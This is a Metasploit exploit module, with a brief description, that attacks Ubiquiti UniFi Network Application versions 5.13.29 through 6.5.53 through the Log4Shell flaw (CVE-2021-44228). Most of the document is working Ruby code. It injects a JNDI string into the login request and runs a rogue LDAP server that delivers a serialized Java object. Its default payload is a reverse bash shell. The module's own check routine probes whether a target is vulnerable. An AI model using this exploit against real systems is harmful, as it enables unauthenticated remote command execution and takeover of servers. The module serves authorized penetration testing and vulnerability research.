Authored by Spencer McIntyre, RageLtMan, Nicholas Anastasi | Site metasploit.com

The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server via the remember field of a POST request to the /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the server application. This Metasploit module will start an LDAP server that the target will need to connect to.

advisories | CVE-2021-44228

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(_info = {})
super(
'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
object. This results in OS command execution in the context of the server application.

This module will start an LDAP server that the target will need to connect to.
},
'Author' => [
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'Nicholas Anastasi' # Unifi research
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],
[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],
[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 1,
'Targets' => [
[
'Windows', {
'Platform' => 'win'
},
],
[
'Unix', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end

def wait_until(&block)
datastore['WfsDelay'].times do
break if block.call

sleep(1)
end
end

def check
validate_configuration!
res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

server_version = res.get_json_document.dig('meta', 'server_version')
return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(d+.)+/

vprint_status("Detected version: #{server_version}")
server_version = Rex::Version.new(server_version)
if server_version < Rex::Version.new('5.13.29')
return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')
elsif server_version > Rex::Version.new('6.5.53')
return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')
end

vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')

start_service
res = trigger
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

wait_until { @search_received }
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
ensure
stop_service
end

def build_ldap_search_response_payload
return [] if @search_received

@search_received = true

return [] unless @exploiting

print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('BeanFactory')
end

def trigger
@search_received = false
# HTTP request initiator
send_request_cgi(
'uri' => normalize_uri(target_uri, 'api', 'login'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'username' => rand_text_alphanumeric(8..16), # can not be blank!,
'password' => rand_text_alphanumeric(8..16), # can not be blank!
'remember' => jndi_string,
'strict' => true
}.to_json
)
end

def exploit
validate_configuration!

@exploiting = true
start_service
res = trigger
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?

msg = res.get_json_document.dig('meta', 'msg')
if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29
fail_with(Failure::NotVulnerable, 'The target is not vulnerable')
end

unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')
end

wait_until { @search_received && (!handler_enabled? || session_created?) }
handler
ensure
cleanup
end
end